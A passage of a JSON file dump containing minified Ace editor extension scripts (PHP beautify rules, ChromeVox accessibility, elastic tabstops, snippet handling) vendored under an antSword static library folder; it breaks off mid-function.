    "content": "ace.define(\"ace/ext/beautify/php_rules\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"ace/token_iterator\").TokenIterator;t.newLines=[{type:\"support.php_tag\",value:\"<?php\"},{type:\"support.php_tag\",value:\"<?\"},{type:\"support.php_tag\",value:\"?>\"},{type:\"paren.lparen\",value:\"{\",indent:!0},{type:\"paren.rparen\",breakBefore:!0,value:\"}\",indent:!1},{type:\"paren.rparen\",breakBefore:!0,value:\"})\",indent:!1,dontBreak:!0},{type:\"comment\"},{type:\"text\",value:\";\"},{type:\"text\",value:\":\",context:\"php\"},{type:\"keyword\",value:\"case\",indent:!0,dontBreak:!0},{type:\"keyword\",value:\"default\",indent:!0,dontBreak:!0},{type:\"keyword\",value:\"break\",indent:!1,dontBreak:!0},{type:\"punctuation.doctype.end\",value:\">\"},{type:\"meta.tag.punctuation.end\",value:\">\"},{type:\"meta.tag.punctuation.begin\",value:\"<\",blockTag:!0,indent:!0,dontBreak:!0},{type:\"meta.tag.punctuation.begin\",value:\"</\",indent:!1,breakBefore:!0,dontBreak:!0},{type:\"punctuation.operator\",value:\";\"}],t.spaces=[{type:\"xml-pe\",prepend:!0},{type:\"entity.other.attribute-name\",prepend:!0},{type:\"storage.type\",value:\"var\",append:!0},{type:\"storage.type\",value:\"function\",append:!0},{type:\"keyword.operator\",value:\"=\"},{type:\"keyword\",value:\"as\",prepend:!0,append:!0},{type:\"keyword\",value:\"function\",append:!0},{type:\"support.function\",next:/[^\\(]/,append:!0},{type:\"keyword\",value:\"or\",append:!0,prepend:!0},{type:\"keyword\",value:\"and\",append:!0,prepend:!0},{type:\"keyword\",value:\"case\",append:!0},{type:\"keyword.operator\",value:\"||\",append:!0,prepend:!0},{type:\"keyword.operator\",value:\"&&\",append:!0,prepend:!0}],t.singleTags=[\"!doctype\",\"area\",\"base\",\"br\",\"hr\",\"input\",\"img\",\"link\",\"meta\"],t.transform=function(e,n,r){var i=e.getCurrentToken(),s=t.newLines,o=t.spaces,u=t.singleTags,a=\"\",f=0,l=!1,c,h,p={},d,v={},m=!1,g=\"\";while(i!==null){console.log(i);if(!i){i=e.stepForward();continue}i.type==\"support.php_tag\"&&i.value!=\"?>\"?r=\"php\":i.type==\"support.php_tag\"&&i.value==\"?>\"?r=\"html\":i.type==\"meta.tag.name.style\"&&r!=\"css\"?r=\"css\":i.type==\"meta.tag.name.style\"&&r==\"css\"?r=\"html\":i.type==\"meta.tag.name.script\"&&r!=\"js\"?r=\"js\":i.type==\"meta.tag.name.script\"&&r==\"js\"&&(r=\"html\"),v=e.stepForward(),v&&v.type.indexOf(\"meta.tag.name\")==0&&(d=v.value),p.type==\"support.php_tag\"&&p.value==\"<?=\"&&(l=!0),i.type==\"meta.tag.name\"&&(i.value=i.value.toLowerCase()),i.type==\"text\"&&(i.value=i.value.trim());if(!i.value){i=v;continue}g=i.value;for(var y in o)i.type==o[y].type&&(!o[y].value||i.value==o[y].value)&&v&&(!o[y].next||o[y].next.test(v.value))&&(o[y].prepend&&(g=\" \"+i.value),o[y].append&&(g+=\" \"));i.type.indexOf(\"meta.tag.name\")==0&&(c=i.value),m=!1;for(y in s)if(i.type==s[y].type&&(!s[y].value||i.value==s[y].value)&&(!s[y].blockTag||u.indexOf(d)===-1)&&(!s[y].context||s[y].context===r)){s[y].indent===!1&&f--;if(s[y].breakBefore&&(!s[y].prev||s[y].prev.test(p.value))){a+=\"\\n\",m=!0;for(y=0;y<f;y++)a+=\"\t\"}break}if(l===!1)for(y in s)if(p.type==s[y].type&&(!s[y].value||p.value==s[y].value)&&(!s[y].blockTag||u.indexOf(c)===-1)&&(!s[y].context||s[y].context===r)){s[y].indent===!0&&f++;if(!s[y].dontBreak&&!m){a+=\"\\n\";for(y=0;y<f;y++)a+=\"\t\"}break}a+=g,p.type==\"support.php_tag\"&&p.value==\"?>\"&&(l=!1),h=c,p=i,i=v;if(i===null)break}return a}}),ace.define(\"ace/ext/beautify\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\",\"ace/ext/beautify/php_rules\"],function(e,t,n){\"use strict\";var r=e(\"ace/token_iterator\").TokenIterator,i=e(\"./beautify/php_rules\").transform;t.beautify=function(e){var t=new r(e,0,0),n=t.getCurrentToken(),s=e.$modeId.split(\"/\").pop(),o=i(t,s);e.doc.setValue(o)},t.commands=[{name:\"beautify\",exec:function(e){t.beautify(e.session)},bindKey:\"Ctrl-Shift-B\"}]});\n                (function() {\n                    ace.require([\"ace/ext/beautify\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-chromevox.js",
    "content": "ace.define(\"ace/ext/chromevox\",[\"require\",\"exports\",\"module\",\"ace/editor\",\"ace/config\"],function(e,t,n){function gt(){return typeof cvox!=\"undefined\"&&cvox&&cvox.Api}function wt(e){if(gt())mt(e);else{yt++;if(yt>=bt)return;window.setTimeout(wt,500,e)}}var r={};r.SpeechProperty,r.Cursor,r.Token,r.Annotation;var i={rate:.8,pitch:.4,volume:.9},s={rate:1,pitch:.5,volume:.9},o={rate:.8,pitch:.8,volume:.9},u={rate:.8,pitch:.3,volume:.9},a={rate:.8,pitch:.7,volume:.9},f={rate:.8,pitch:.8,volume:.9},l={punctuationEcho:\"none\",relativePitch:-0.6},c=\"ALERT_NONMODAL\",h=\"ALERT_MODAL\",p=\"INVALID_KEYPRESS\",d=\"insertMode\",v=\"start\",m=[{substr:\";\",newSubstr:\" semicolon \"},{substr:\":\",newSubstr:\" colon \"}],g={SPEAK_ANNOT:\"annots\",SPEAK_ALL_ANNOTS:\"all_annots\",TOGGLE_LOCATION:\"toggle_location\",SPEAK_MODE:\"mode\",SPEAK_ROW_COL:\"row_col\",TOGGLE_DISPLACEMENT:\"toggle_displacement\",FOCUS_TEXT:\"focus_text\"},y=\"CONTROL + SHIFT \";r.editor=null;var b=null,w={},E=!1,S=!1,x=!1,T=null,N={},C={},k=function(e){return y+String.fromCharCode(e)},L=function(){var e=r.editor.keyBinding.getKeyboardHandler();return e.$id===\"ace/keyboard/vim\"},A=function(e){return r.editor.getSession().getTokenAt(e.row,e.column+1)},O=function(e){return r.editor.getSession().getLine(e.row)},M=function(e){w[e.row]&&cvox.Api.playEarcon(c),E?(cvox.Api.stop(),W(e),R(A(e)),I(e.row,1)):I(e.row,0)},_=function(e){var t=O(e),n=t.substr(e.column-1);e.column===0&&(n=\" \"+t);var r=/^\\W(\\w+)/,i=r.exec(n);return i!==null},D={constant:{prop:i},entity:{prop:o},keyword:{prop:u},storage:{prop:a},variable:{prop:f},meta:{prop:s,replace:[{substr:\"</\",newSubstr:\" closing tag \"},{substr:\"/>\",newSubstr:\" close tag \"},{substr:\"<\",newSubstr:\" tag start \"},{substr:\">\",newSubstr:\" tag end \"}]}},P={prop:P},H=function(e,t){var n=e;for(var r=0;r<t.length;r++){var i=t[r],s=new RegExp(i.substr,\"g\");n=n.replace(s,i.newSubstr)}return n},B=function(e,t,n){var r={};r.value=\"\",r.type=e[t].type;for(var i=t;i<n;i++)r.value+=e[i].value;return r},j=function(e){if(e.length<=1)return e;var t=[],n=0;for(var r=1;r<e.length;r++){var i=e[n],s=e[r];U(i)!==U(s)&&(t.push(B(e,n,r)),n=r)}return t.push(B(e,n,e.length)),t},F=function(e){var t=r.editor.getSession().getLine(e),n=/^\\s*$/;return n.exec(t)!==null},I=function(e,t){var n=r.editor.getSession().getTokens(e);if(n.length===0||F(e)){cvox.Api.playEarcon(\"EDITABLE_TEXT\");return}n=j(n);var i=n[0];n=n.filter(function(e){return e!==i}),z(i,t),n.forEach(R)},q=function(e){z(e,0)},R=function(e){z(e,1)},U=function(e){if(!e||!e.type)return;var t=e.type.split(\".\");if(t.length===0)return;var n=t[0],r=D[n];return r?r:P},z=function(e,t){var n=U(e),r=H(e.value,m);n.replace&&(r=H(r,n.replace)),cvox.Api.speak(r,t,n.prop)},W=function(e){var t=O(e);cvox.Api.speak(t[e.column],1)},X=function(e,t){var n=O(t),r=n.substring(e.column,t.column);r=r.replace(/ /g,\" space \"),cvox.Api.speak(r)},V=function(e,t){if(Math.abs(e.column-t.column)!==1){var n=O(t).length;if(t.column===0||t.column===n){I(t.row,0);return}if(_(t)){cvox.Api.stop(),R(A(t));return}}W(t)},$=function(e,t){r.editor.selection.isEmpty()?S?X(e,t):V(e,t):(X(e,t),cvox.Api.speak(\"selected\",1))},J=function(e){if(x){x=!1;return}var t=r.editor.selection.getCursor();t.row!==b.row?M(t):$(b,t),b=t},K=function(e){r.editor.selection.isEmpty()&&cvox.Api.speak(\"unselected\")},Q=function(e){switch(data.action){case\"remove\":cvox.Api.speak(data.text,0,l),x=!0;break;case\"insert\":cvox.Api.speak(data.text,0),x=!0}},G=function(e){var t=e.row,n=e.column;return!w[t]||!w[t][n]},Y=function(e){w={};for(var t=0;t<e.length;t++){var n=e[t],r=n.row,i=n.column;w[r]||(w[r]={}),w[r][i]=n}},Z=function(e){var t=r.editor.getSession().getAnnotations(),n=t.filter(G);n.length>0&&cvox.Api.playEarcon(c),Y(t)},et=function(e){var t=e.type+\" \"+e.text+\" on \"+nt(e.row,e.column);t=t.replace(\";\",\"semicolon\"),cvox.Api.speak(t,1)},tt=function(e){var t=w[e];for(var n in t)et(t[n])},nt=function(e,t){return\"row \"+(e+1)+\" column \"+(t+1)},rt=function(){cvox.Api.speak(nt(b.row,b.column))},it=function(){for(var e in w)tt(e)},st=function(){if(!L())return;switch(r.editor.keyBinding.$data.state){case d:cvox.Api.speak(\"Insert mode\");break;case v:cvox.Api.speak(\"Command mode\")}},ot=function(){E=!E,E?cvox.Api.speak(\"Speak location on row change enabled.\"):cvox.Api.speak(\"Speak location on row change disabled.\")},ut=function(){S=!S,S?cvox.Api.speak(\"Speak displacement on column changes.\"):cvox.Api.speak(\"Speak current character or word on column changes.\")},at=function(e){if(e.ctrlKey&&e.shiftKey){var t=N[e.keyCode];t&&t.func()}},ft=function(e,t){if(!L())return;var n=t.keyBinding.$data.state;if(n===T)return;switch(n){case d:cvox.Api.playEarcon(h),cvox.Api.setKeyEcho(!0);break;case v:cvox.Api.playEarcon(h),cvox.Api.setKeyEcho(!1)}T=n},lt=function(e){var t=e.detail.customCommand,n=C[t];n&&(n.func(),r.editor.focus())},ct=function(){var e=dt.map(function(e){return{desc:e.desc+k(e.keyCode),cmd:e.cmd}}),t=document.querySelector(\"body\");t.setAttribute(\"contextMenuActions\",JSON.stringify(e)),t.addEventListener(\"ATCustomEvent\",lt,!0)},ht=function(e){e.match?I(b.row,0):cvox.Api.playEarcon(p)},pt=function(){r.editor.focus()},dt=[{keyCode:49,func:function(){tt(b.row)},cmd:g.SPEAK_ANNOT,desc:\"Speak annotations on line\"},{keyCode:50,func:it,cmd:g.SPEAK_ALL_ANNOTS,desc:\"Speak all annotations\"},{keyCode:51,func:st,cmd:g.SPEAK_MODE,desc:\"Speak Vim mode\"},{keyCode:52,func:ot,cmd:g.TOGGLE_LOCATION,desc:\"Toggle speak row location\"},{keyCode:53,func:rt,cmd:g.SPEAK_ROW_COL,desc:\"Speak row and column\"},{keyCode:54,func:ut,cmd:g.TOGGLE_DISPLACEMENT,desc:\"Toggle speak displacement\"},{keyCode:55,func:pt,cmd:g.FOCUS_TEXT,desc:\"Focus text\"}],vt=function(){r.editor=editor,editor.getSession().selection.on(\"changeCursor\",J),editor.getSession().selection.on(\"changeSelection\",K),editor.getSession().on(\"change\",Q),editor.getSession().on(\"changeAnnotation\",Z),editor.on(\"changeStatus\",ft),editor.on(\"findSearchBox\",ht),editor.container.addEventListener(\"keydown\",at),b=editor.selection.getCursor()},mt=function(e){vt(),dt.forEach(function(e){N[e.keyCode]=e,C[e.cmd]=e}),e.on(\"focus\",vt),L()&&cvox.Api.setKeyEcho(!1),ct()},yt=0,bt=15,Et=e(\"../editor\").Editor;e(\"../config\").defineOptions(Et.prototype,\"editor\",{enableChromevoxEnhancements:{set:function(e){e&&wt(this)},value:!0}})});\n                (function() {\n                    ace.require([\"ace/ext/chromevox\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-elastic_tabstops_lite.js",
    "content": "ace.define(\"ace/ext/elastic_tabstops_lite\",[\"require\",\"exports\",\"module\",\"ace/editor\",\"ace/config\"],function(e,t,n){\"use strict\";var r=function(e){this.$editor=e;var t=this,n=[],r=!1;this.onAfterExec=function(){r=!1,t.processRows(n),n=[]},this.onExec=function(){r=!0},this.onChange=function(e){r&&(n.indexOf(e.start.row)==-1&&n.push(e.start.row),e.end.row!=e.start.row&&n.push(e.end.row))}};(function(){this.processRows=function(e){this.$inChange=!0;var t=[];for(var n=0,r=e.length;n<r;n++){var i=e[n];if(t.indexOf(i)>-1)continue;var s=this.$findCellWidthsForBlock(i),o=this.$setBlockCellWidthsToMax(s.cellWidths),u=s.firstRow;for(var a=0,f=o.length;a<f;a++){var l=o[a];t.push(u),this.$adjustRow(u,l),u++}}this.$inChange=!1},this.$findCellWidthsForBlock=function(e){var t=[],n,r=e;while(r>=0){n=this.$cellWidthsForRow(r);if(n.length==0)break;t.unshift(n),r--}var i=r+1;r=e;var s=this.$editor.session.getLength();while(r<s-1){r++,n=this.$cellWidthsForRow(r);if(n.length==0)break;t.push(n)}return{cellWidths:t,firstRow:i}},this.$cellWidthsForRow=function(e){var t=this.$selectionColumnsForRow(e),n=[-1].concat(this.$tabsForRow(e)),r=n.map(function(e){return 0}).slice(1),i=this.$editor.session.getLine(e);for(var s=0,o=n.length-1;s<o;s++){var u=n[s]+1,a=n[s+1],f=this.$rightmostSelectionInCell(t,a),l=i.substring(u,a);r[s]=Math.max(l.replace(/\\s+$/g,\"\").length,f-u)}return r},this.$selectionColumnsForRow=function(e){var t=[],n=this.$editor.getCursorPosition();return this.$editor.session.getSelection().isEmpty()&&e==n.row&&t.push(n.column),t},this.$setBlockCellWidthsToMax=function(e){var t=!0,n,r,i,s=this.$izip_longest(e);for(var o=0,u=s.length;o<u;o++){var a=s[o];if(!a.push){console.error(a);continue}a.push(NaN);for(var f=0,l=a.length;f<l;f++){var c=a[f];t&&(n=f,i=0,t=!1);if(isNaN(c)){r=f;for(var h=n;h<r;h++)e[h][o]=i;t=!0}i=Math.max(i,c)}}return e},this.$rightmostSelectionInCell=function(e,t){var n=0;if(e.length){var r=[];for(var i=0,s=e.length;i<s;i++)e[i]<=t?r.push(i):r.push(0);n=Math.max.apply(Math,r)}return n},this.$tabsForRow=function(e){var t=[],n=this.$editor.session.getLine(e),r=/\\t/g,i;while((i=r.exec(n))!=null)t.push(i.index);return t},this.$adjustRow=function(e,t){var n=this.$tabsForRow(e);if(n.length==0)return;var r=0,i=-1,s=this.$izip(t,n);for(var o=0,u=s.length;o<u;o++){var a=s[o][0],f=s[o][1];i+=1+a,f+=r;var l=i-f;if(l==0)continue;var c=this.$editor.session.getLine(e).substr(0,f),h=c.replace(/\\s*$/g,\"\"),p=c.length-h.length;l>0&&(this.$editor.session.getDocument().insertInLine({row:e,column:f+1},Array(l+1).join(\" \")+\"\t\"),this.$editor.session.getDocument().removeInLine(e,f,f+1),r+=l),l<0&&p>=-l&&(this.$editor.session.getDocument().removeInLine(e,f+l,f),r+=l)}},this.$izip_longest=function(e){if(!e[0])return[];var t=e[0].length,n=e.length;for(var r=1;r<n;r++){var i=e[r].length;i>t&&(t=i)}var s=[];for(var o=0;o<t;o++){var u=[];for(var r=0;r<n;r++)e[r][o]===\"\"?u.push(NaN):u.push(e[r][o]);s.push(u)}return s},this.$izip=function(e,t){var n=e.length>=t.length?t.length:e.length,r=[];for(var i=0;i<n;i++){var s=[e[i],t[i]];r.push(s)}return r}}).call(r.prototype),t.ElasticTabstopsLite=r;var i=e(\"../editor\").Editor;e(\"../config\").defineOptions(i.prototype,\"editor\",{useElasticTabstops:{set:function(e){e?(this.elasticTabstops||(this.elasticTabstops=new r(this)),this.commands.on(\"afterExec\",this.elasticTabstops.onAfterExec),this.commands.on(\"exec\",this.elasticTabstops.onExec),this.on(\"change\",this.elasticTabstops.onChange)):this.elasticTabstops&&(this.commands.removeListener(\"afterExec\",this.elasticTabstops.onAfterExec),this.commands.removeListener(\"exec\",this.elasticTabstops.onExec),this.removeListener(\"change\",this.elasticTabstops.onChange))}}})});\n                (function() {\n                    ace.require([\"ace/ext/elastic_tabstops_lite\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-emmet.js",
    "content": "ace.define(\"ace/snippets\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\",\"ace/lib/lang\",\"ace/range\",\"ace/anchor\",\"ace/keyboard/hash_handler\",\"ace/tokenizer\",\"ace/lib/dom\",\"ace/editor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=e(\"./lib/lang\"),o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=e(\"./keyboard/hash_handler\").HashHandler,f=e(\"./tokenizer\").Tokenizer,l=o.comparePoints,c=function(){this.snippetMap={},this.snippetNameMap={}};(function(){r.implement(this,i),this.getTokenizer=function(){function e(e,t,n){return e=e.substr(1),/^\\d+$/.test(e)&&!n.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return\"(?:[^\\\\\\\\\"+e+\"]|\\\\\\\\.)\"}return c.$tokenizer=new f({start:[{regex:/:/,onMatch:function(e,t,n){return n.length&&n[0].expectIf?(n[0].expectIf=!1,n[0].elseBranch=n[0],[n[0]]):\":\"}},{regex:/\\\\./,onMatch:function(e,t,n){var r=e[1];return r==\"}\"&&n.length?e=r:\"`$\\\\\".indexOf(r)!=-1?e=r:n.inFormatString&&(r==\"n\"?e=\"\\n\":r==\"t\"?e=\"\\n\":\"ulULE\".indexOf(r)!=-1&&(e={changeCase:r,local:r>\"a\"})),[e]}},{regex:/}/,onMatch:function(e,t,n){return[n.length?n.shift():e]}},{regex:/\\$(?:\\d+|\\w+)/,onMatch:e},{regex:/\\$\\{[\\dA-Z_a-z]+/,onMatch:function(t,n,r){var i=e(t.substr(1),n,r);return r.unshift(i[0]),i},next:\"snippetVar\"},{regex:/\\n/,token:\"newline\",merge:!1}],snippetVar:[{regex:\"\\\\|\"+t(\"\\\\|\")+\"*\\\\|\",onMatch:function(e,t,n){n[0].choices=e.slice(1,-1).split(\",\")},next:\"start\"},{regex:\"/(\"+t(\"/\")+\"+)/(?:(\"+t(\"/\")+\"*)/)(\\\\w*):?\",onMatch:function(e,t,n){var r=n[0];return r.fmtString=e,e=this.splitRegex.exec(e),r.guard=e[1],r.fmt=e[2],r.flag=e[3],\"\"},next:\"start\"},{regex:\"`\"+t(\"`\")+\"*`\",onMatch:function(e,t,n){return n[0].code=e.splice(1,-1),\"\"},next:\"start\"},{regex:\"\\\\?\",onMatch:function(e,t,n){n[0]&&(n[0].expectIf=!0)},next:\"start\"},{regex:\"([^:}\\\\\\\\]|\\\\\\\\.)*:?\",token:\"\",next:\"start\"}],formatString:[{regex:\"/(\"+t(\"/\")+\"+)/\",token:\"regex\"},{regex:\"\",onMatch:function(e,t,n){n.inFormatString=!0},next:\"start\"}]}),c.prototype.getTokenizer=function(){return c.$tokenizer},c.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map(function(e){return e.value||e})},this.$getDefaultValue=function(e,t){if(/^[A-Z]\\d+$/.test(t)){var n=t.substr(1);return(this.variables[t[0]+\"__\"]||{})[n]}if(/^\\d+$/.test(t))return(this.variables.__||{})[t];t=t.replace(/^TM_/,\"\");if(!e)return;var r=e.session;switch(t){case\"CURRENT_WORD\":var i=r.getWordRange();case\"SELECTION\":case\"SELECTED_TEXT\":return r.getTextRange(i);case\"CURRENT_LINE\":return r.getLine(e.getCursorPosition().row);case\"PREV_LINE\":return r.getLine(e.getCursorPosition().row-1);case\"LINE_INDEX\":return e.getCursorPosition().column;case\"LINE_NUMBER\":return e.getCursorPosition().row+1;case\"SOFT_TABS\":return r.getUseSoftTabs()?\"YES\":\"NO\";case\"TAB_SIZE\":return r.getTabSize();case\"FILENAME\":case\"FILEPATH\":return\"\";case\"FULLNAME\":return\"Ace\"}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||\"\":this.$getDefaultValue(e,t)||\"\"},this.tmStrFormat=function(e,t,n){var r=t.flag||\"\",i=t.guard;i=new RegExp(i,r.replace(/[^gi]/,\"\"));var s=this.tokenizeTmSnippet(t.fmt,\"formatString\"),o=this,u=e.replace(i,function(){o.variables.__=arguments;var e=o.resolveVariables(s,n),t=\"E\";for(var r=0;r<e.length;r++){var i=e[r];if(typeof i==\"object\"){e[r]=\"\";if(i.changeCase&&i.local){var u=e[r+1];u&&typeof u==\"string\"&&(i.changeCase==\"u\"?e[r]=u[0].toUpperCase():e[r]=u[0].toLowerCase(),e[r+1]=u.substr(1))}else i.changeCase&&(t=i.changeCase)}else t==\"U\"?e[r]=i.toUpperCase():t==\"L\"&&(e[r]=i.toLowerCase())}return e.join(\"\")});return this.variables.__=null,u},this.resolveVariables=function(e,t){function o(t){var n=e.indexOf(t,r+1);n!=-1&&(r=n)}var n=[];for(var r=0;r<e.length;r++){var i=e[r];if(typeof i==\"string\")n.push(i);else{if(typeof i!=\"object\")continue;if(i.skip)o(i);else{if(i.processed<r)continue;if(i.text){var s=this.getVariableValue(t,i.text);s&&i.fmtString&&(s=this.tmStrFormat(s,i)),i.processed=r,i.expectIf==null?s&&(n.push(s),o(i)):s?i.skip=i.elseBranch:o(i)}else i.tabstopId!=null?n.push(i):i.changeCase!=null&&n.push(i)}}}return n},this.insertSnippetForSelection=function(e,t){function f(e){var t=[];for(var n=0;n<e.length;n++){var r=e[n];if(typeof r==\"object\"){if(a[r.tabstopId])continue;var i=e.lastIndexOf(r,n-1);r=t[i]||{tabstopId:r.tabstopId}}t[n]=r}return t}var n=e.getCursorPosition(),r=e.session.getLine(n.row),i=e.session.getTabString(),s=r.match(/^\\s*/)[0];n.column<s.length&&(s=s.slice(0,n.column));var o=this.tokenizeTmSnippet(t);o=this.resolveVariables(o,e),o=o.map(function(e){return e==\"\\n\"?e+s:typeof e==\"string\"?e.replace(/\\t/g,i):e});var u=[];o.forEach(function(e,t){if(typeof e!=\"object\")return;var n=e.tabstopId,r=u[n];r||(r=u[n]=[],r.index=n,r.value=\"\");if(r.indexOf(e)!==-1)return;r.push(e);var i=o.indexOf(e,t+1);if(i===-1)return;var s=o.slice(t+1,i),a=s.some(function(e){return typeof e==\"object\"});a&&!r.value?r.value=s:s.length&&(!r.value||typeof r.value!=\"string\")&&(r.value=s.join(\"\"))}),u.forEach(function(e){e.length=0});var a={};for(var l=0;l<o.length;l++){var c=o[l];if(typeof c!=\"object\")continue;var p=c.tabstopId,d=o.indexOf(c,l+1);if(a[p]){a[p]===c&&(a[p]=null);continue}var v=u[p],m=typeof v.value==\"string\"?[v.value]:f(v.value);m.unshift(l+1,Math.max(0,d-l)),m.push(c),a[p]=c,o.splice.apply(o,m),v.indexOf(c)===-1&&v.push(c)}var g=0,y=0,b=\"\";o.forEach(function(e){typeof e==\"string\"?(e[0]===\"\\n\"?(y=e.length-1,g++):y+=e.length,b+=e):e.start?e.end={row:g,column:y}:e.start={row:g,column:y}});var w=e.getSelectionRange(),E=e.session.replace(w,b),S=new h(e),x=e.inVirtualSelectionMode&&e.selection.index;S.addTabstops(u,w.start,E,x)},this.insertSnippet=function(e,t){var n=this;if(e.inVirtualSelectionMode)return n.insertSnippetForSelection(e,t);e.forEachSelection(function(){n.insertSnippetForSelection(e,t)},null,{keepOrder:!0}),e.tabstopManager&&e.tabstopManager.tabNext()},this.$getScope=function(e){var t=e.session.$mode.$id||\"\";t=t.split(\"/\").pop();if(t===\"html\"||t===\"php\"){t===\"php\"&&!e.session.$mode.inlinePhp&&(t=\"html\");var n=e.getCursorPosition(),r=e.session.getState(n.row);typeof r==\"object\"&&(r=r[0]),r.substring&&(r.substring(0,3)==\"js-\"?t=\"javascript\":r.substring(0,4)==\"css-\"?t=\"css\":r.substring(0,4)==\"php-\"&&(t=\"php\"))}return t},this.getActiveScopes=function(e){var t=this.$getScope(e),n=[t],r=this.snippetMap;return r[t]&&r[t].includeScopes&&n.push.apply(n,r[t].includeScopes),n.push(\"_\"),n},this.expandWithTab=function(e,t){var n=this,r=e.forEachSelection(function(){return n.expandSnippetForSelection(e,t)},null,{keepOrder:!0});return r&&e.tabstopManager&&e.tabstopManager.tabNext(),r},this.expandSnippetForSelection=function(e,t){var n=e.getCursorPosition(),r=e.session.getLine(n.row),i=r.substring(0,n.column),s=r.substr(n.column),o=this.snippetMap,u;return this.getActiveScopes(e).some(function(e){var t=o[e];return t&&(u=this.findMatchingSnippet(t,i,s)),!!u},this),u?t&&t.dryRun?!0:(e.session.doc.removeInLine(n.row,n.column-u.replaceBefore.length,n.column+u.replaceAfter.length),this.variables.M__=u.matchBefore,this.variables.T__=u.matchAfter,this.insertSnippetForSelection(e,u.content),this.variables.M__=this.variables.T__=null,!0):!1},this.findMatchingSnippet=function(e,t,n){for(var r=e.length;r--;){var i=e[r];if(i.startRe&&!i.startRe.test(t))continue;if(i.endRe&&!i.endRe.test(n))continue;if(!i.startRe&&!i.endRe)continue;return i.matchBefore=i.startRe?i.startRe.exec(t):[\"\"],i.matchAfter=i.endRe?i.endRe.exec(n):[\"\"],i.replaceBefore=i.triggerRe?i.triggerRe.exec(t)[0]:\"\",i.replaceAfter=i.endTriggerRe?i.endTriggerRe.exec(n)[0]:\"\",i}},this.snippetMap={},this.snippetNameMap={},this.register=function(e,t){function o(e){return e&&!/^\\^?\\(.*\\)\\$?$|^\\\\b$/.test(e)&&(e=\"(?:\"+e+\")\"),e||\"\"}function u(e,t,n){return e=o(e),t=o(t),n?(e=t+e,e&&e[e.length-1]!=\"$\"&&(e+=\"$\")):(e+=t,e&&e[0]!=\"^\"&&(e=\"^\"+e)),new RegExp(e)}function a(e){e.scope||(e.scope=t||\"_\"),t=e.scope,n[t]||(n[t]=[],r[t]={});var o=r[t];if(e.name){var a=o[e.name];a&&i.unregister(a),o[e.name]=e}n[t].push(e),e.tabTrigger&&!e.trigger&&(!e.guard&&/^\\w/.test(e.tabTrigger)&&(e.guard=\"\\\\b\"),e.trigger=s.escapeRegExp(e.tabTrigger)),e.startRe=u(e.trigger,e.guard,!0),e.triggerRe=new RegExp(e.trigger,\"\",!0),e.endRe=u(e.endTrigger,e.endGuard,!0),e.endTriggerRe=new RegExp(e.endTrigger,\"\",!0)}var n=this.snippetMap,r=this.snippetNameMap,i=this;e||(e=[]),e&&e.content?a(e):Array.isArray(e)&&e.forEach(a),this._signal(\"registerSnippets\",{scope:t})},this.unregister=function(e,t){function i(e){var i=r[e.scope||t];if(i&&i[e.name]){delete i[e.name];var s=n[e.scope||t],o=s&&s.indexOf(e);o>=0&&s.splice(o,1)}}var n=this.snippetMap,r=this.snippetNameMap;e.content?i(e):Array.isArray(e)&&e.forEach(i)},this.parseSnippetFile=function(e){e=e.replace(/\\r/g,\"\");var t=[],n={},r=/^#.*|^({[\\s\\S]*})\\s*$|^(\\S+) (.*)$|^((?:\\n*\\t.*)+)/gm,i;while(i=r.exec(e)){if(i[1])try{n=JSON.parse(i[1]),t.push(n)}catch(s){}if(i[4])n.content=i[4].replace(/^\\t/gm,\"\"),t.push(n),n={};else{var o=i[2],u=i[3];if(o==\"regex\"){var a=/\\/((?:[^\\/\\\\]|\\\\.)*)|$/g;n.guard=a.exec(u)[1],n.trigger=a.exec(u)[1],n.endTrigger=a.exec(u)[1],n.endGuard=a.exec(u)[1]}else o==\"snippet\"?(n.tabTrigger=u.match(/^\\S*/)[0],n.name||(n.name=u)):n[o]=u}}return t},this.getSnippetByName=function(e,t){var n=this.snippetNameMap,r;return this.getActiveScopes(t).some(function(t){var i=n[t];return i&&(r=i[e]),!!r},this),r}}).call(c.prototype);var h=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=s.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on(\"change\",this.$onChange),this.editor.on(\"changeSelection\",this.$onChangeSelection),this.editor.on(\"changeSession\",this.$onChangeSession),this.editor.commands.on(\"afterExec\",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener(\"change\",this.$onChange),this.editor.removeListener(\"changeSelection\",this.$onChangeSelection),this.editor.removeListener(\"changeSession\",this.$onChangeSession),this.editor.commands.removeListener(\"afterExec\",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t=e,n=e.action[0]==\"r\",r=e.start,i=e.end,s=r.row,o=i.row,u=o-s,a=i.column-r.column;n&&(u=-u,a=-a);if(!this.$inChange&&n){var f=this.selectedTabstop,c=f&&!f.some(function(e){return l(e.start,r)<=0&&l(e.end,i)>=0});if(c)return this.detach()}var h=this.ranges;for(var p=0;p<h.length;p++){var 